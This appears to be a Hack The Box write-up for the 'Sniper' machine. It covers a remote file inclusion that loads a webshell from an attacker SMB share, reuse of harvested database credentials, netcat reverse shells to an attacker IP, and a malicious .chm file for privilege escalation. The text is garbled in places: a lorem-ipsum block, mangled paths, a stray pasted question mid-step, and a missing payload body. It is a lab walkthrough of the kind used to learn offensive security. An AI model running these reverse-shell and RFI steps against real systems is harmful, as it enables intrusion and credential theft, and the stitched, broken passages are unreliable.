Sniper - Hack The Box

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hackthebox
Author

0xPThree

Published

November 20, 2019

“Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry’s standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum.”

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  1. nmap -Pn -sC -sV -n -O sniper.htb PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: Sniper Co. 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port OS fingerprint not ideal because: Missing a closed TCP port so results incomplete No OS matches for host Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

    Host script results: |clock-skew: 7h00m12s | smb2-security-mode: | 2.02: | Message signing enabled but not required | smb2-time: | date: 2019-11-20T16:04:55 |_ start_date: N/A

nmap -Pn -sV -n -p- sniper.htb PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windowhis netbios-ssn 445/tcp open microsoft-ds? 49667/tcp open msrpc Microsoft Windows RPC Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

  1. Enumeration with dirb and nikto finds.. .. Public HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST

  2. Continue enumeration by browsing the website and we find http://sniper.htb/blog/?lang=blog-en.php ?lang=xxx looks like it could be vulnerable by RFI. Reading up on RFI a common way is to setup a local SMB share and fetch a webshell - lets try that!

    root@p3:~# vi /etc/samba/smb.conf

    [pub-share] Comment = SMB Drops path = /srv/pub-share writable = yes guest ok = yes read only = no force user = nobody

    root@p3:~# service smbd restart

    Make sure that the share is reachable: root@p3:/srv/pub-share# smbclient //10.10.14.10/pub-share Enter WORKGROUP’s password: Try “help” to get a list of possible commands. smb: > ls . D 0 Fri Nov 22 11:57:22 2019 .. D 0 Fri Nov 22 10:57:42 2019 sniper-rev.php N 94 Fri Nov 22 09:50:24 2019 nc64.exe N 45272 Wed Nov 20 15:16:38 2019 webshell.php N 7206 Fri Nov 22 11:00:15 2019

         554197528 blocks of size 1024. 501299668 blocks available

  3. Execute RFI and connect to webshell.php for Initial Foothold. http://sniper.htb/blog/?lang=//10.10.14.10/pub-share/webshell.php whoami nt authority

  4. Poking around in the box we find db.php (C:) type db.php

    Our first pair of creds - dbuser:36mEAhz/B8xQ~2VM for MYSQL database sniper

  5. Looking for users we find 2 accounts, Administrator and Chris. However we don’t have permissions to enter any of them. dir Directory of C:/11/2019 06:04 AM

    . 04/11/2019 06:04 AM

    .. 04/09/2019 05:47 AM

    Administrator 04/11/2019 06:04 AM

    Chris 04/09/2019 05:47 AM

    Public 0 File(s) 0 bytes 5 Dir(s) 17,963,245,568 bytes free

  6. Verify the account using rpcclient root@p3:/opt/shells# rpcclient -U chris sniper.htb Enter WORKGROUP’s password: (36mEAhz/B8xQ~2VM) rpcclient $>

    NOTE: Looks like Chris is re-using his password. Working creds - Chris:36mEAhz/B8xQ~2VM

  7. Spawn an interactive reverse powershell from your webshell by calling netcat for windows. Download netcat 1.12: https://eternallybored.org/misc/netcat/

    root@p3:/opt/htb/machines/sniper# unzip netcat-win32-1.12.zip /nc64 root@p3:/opt/htb/machines/sniper# cp nc64/nc64.exe /srv/pub-share root@p3:/opt/htb/machines/sniper# chmod +x /srv/pub-share/nc64.exe

    From Webshell: //10.10.14.10/pub-share/nc64.exe 10.10.14.10 4488 -e powershell

    root@p3:/opt/htb/machines/sniper# nc -lvnp 4488 listening on [any] 4488 … connect to [10.10.14.10] from (UNKNOWN) [10.10.10.151] 49908 Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved.

    PS C:> whoami whoami nt authority PS C:> $env:computername $env:computername SNIPER

  8. Change user from iusr to Chris by setting up another reverse shell, using the found creds.

    Assign the credentials: PS C:> $user = ‘sniper.htb’ PS C:> $pass = ‘36mEAhz/B8xQ~2VM’ | ConvertTo-SecureString -AsPlainText -Force PS C:> \(creds = New-Object System.Management.Automation.PSCredential(\)user,$pass)

    Test to make sure it works by sending single command to the “remote” host: PS C:> Invoke-Command -ComputerName localhost -Credential $creds -ScriptBlock { whoami } sniper

    Setup a new reverse shell as Chris: PS C:> Invoke-Command -ComputerName localhost -Credential $creds -ScriptBlock { //10.10.14.10/pub-share/nc64.exe 10.10.14.10 4499 -e powershell }

    root@p3:/opt/htb/machines/sniper# nc -lvnp 4499 listening on [any] 4499 … connect to [10.10.14.10] from (UNKNOWN) [10.10.10.151] 50014 Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved.

    PS C:> whoami whoami sniper

  9. Grab user.txt PS C:> type user.txt type user.txt 21f4****************************

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  1. Looking around in the box we find a file named instructions.chm in C:. Lets download it and view the file.

    PS C:> Copy-Item -Path instructions.chm -Destination //10.10.14.10/pub-share/instructions.chm root@p3:/srv/pub-share# mv instructions.chm /opt/htb/machines/sniper/ root@p3:/opt/htb/machines/sniper# xchm instructions.chm

    Sniper Android App Documentation Table of Contents Pff… This dumb CEO always makes me do all the shitty work. SMH! I’m never completing this thing. Gonna leave this place next week. Hope someone snipes him.

Maybe we are looking for an app for privesc?

  1. In C:we find note.txt and “php for dummies-trial.pdf”, lets view them.

    PS C:> type note.txt Hi Chris, Your php skillz suck. Contact yamitenshi so that he teaches you how to use it and after that fix the website as there are a lot of bugs on it. And I hope that you’ve prepared the documentation for our new app. Drop it here when you’re done with it. Regards, Sniper CEO.

    PS C:> Copy-Item -Path “php for dummies-trial.pdf”-Destination //10.10.14.10/pub-share/test.pdf root@p3:/srv/pub-share# mv test.pdf /opt/htb/machines/sniper/php-dummies.pdf

    The PDF only contains table of content, and no actual content.

  2. CHM-files are deemed as dangerous as they can be injected with malicious code. We can compile our own (malicious) .chm-file using only Windows tools (HTML Help). Let’s start by creating the three files needed; .htm, .hhc and .hhp

    .htm - this is our payload where we inject the malicious data .hhc - contains the Table of Content for the HTML Help file .hhp - our project file used to bind all the other files together

    root@p3:/opt/htb/machines/sniper# cat expl.htm

    <p>Bypass AV by PlayerThree</p>

    Bypass AV by PlayerThree

    root@p3:/opt/htb/machines/sniper# cat expl.hhc <!DOCTYPE HTML PUBLIC “-//IETF//DTD HTML//EN”>

    root@p3:/opt/htb/machines/sniper# cat expl.hhp [OPTIONS] Compatibility=1.1 or later Compiled file=expl.chm Contents file=expl.hhc Default topic=expl.htm Display compile progress=No Language=0x409 English (United States)

    [FILES] C:.htm

  3. When all files are created we need to switch over to a Windows-box and compile it ’m in with chris shell. I guess I have to explote this vulnerability “Microsoft Compiled HTML Help / Uncompiled .chm File - XML External Entity Injection”, but i don’t get success with my .chm file, i’m in the right placdo the .chm-file. C:> “C:Files (x86)Help Workshop.exe” expl.hpp Microsoft HTML Help Compiler 4.74.8702

    Compiling C:.chm

    Compile time: 0 minutes, 1 second 1 Topics 0 Local links 0 Internet links 0 Graphics

    Created C:.chm, 10835 bytes Compression decreased file by 10835 bytes.

  4. Upload our malicious chm-file to sniper.htb c:, as hinted in note.txt (Drop it here when you’re done with it.), and quickly run the file to execute the payload. Grab root.txt. PS C:> copy //10.10.14.10/pub-share/nc64.exe nc64.exe PS C:> copy //10.10.14.10/pub-share/expl.chm expl.chm PS C:> ..chm

    root@p3:/opt/htb/machines/sniper# nc -lvnp 4400 listening on [any] 4400 … connect to [10.10.14.10] from (UNKNOWN) [10.10.10.151] 49681 Microsoft Windows [Version 10.0.17763.678]

    1. 2018 Microsoft Corporation. All rights reserved.

    C:>whoami sniper C:>type root.txt 5624****************************

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RFI + SMB https://medium.com/@minimalist.ascent/remote-file-include-using-samba-shares-6fa76dfeb4ce http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html

nc64.exe https://www.youtube.com/watch?v=PJXb2pK8K84&t=1155 (found by searching for ‘windows reverse’ on https://ippsec.rocks/)

Change user https://social.technet.microsoft.com/Forums/lync/en-US/e8452304-06db-45ab-961e-2c4ef3fa2a12/enter-username-and-password-using-powershell?forum=winserverpowershell https://www.howtogeek.com/117192/how-to-run-powershell-commands-on-remote-computers/

Good random commands powershell -ep bypass runas /user:snipercmd.exe

Malicious .chm-file https://github.com/arntsonl/calc_security_poc/tree/master/chm https://gist.github.com/mgeeky/cce31c8602a144d8f2172a73d510e0e7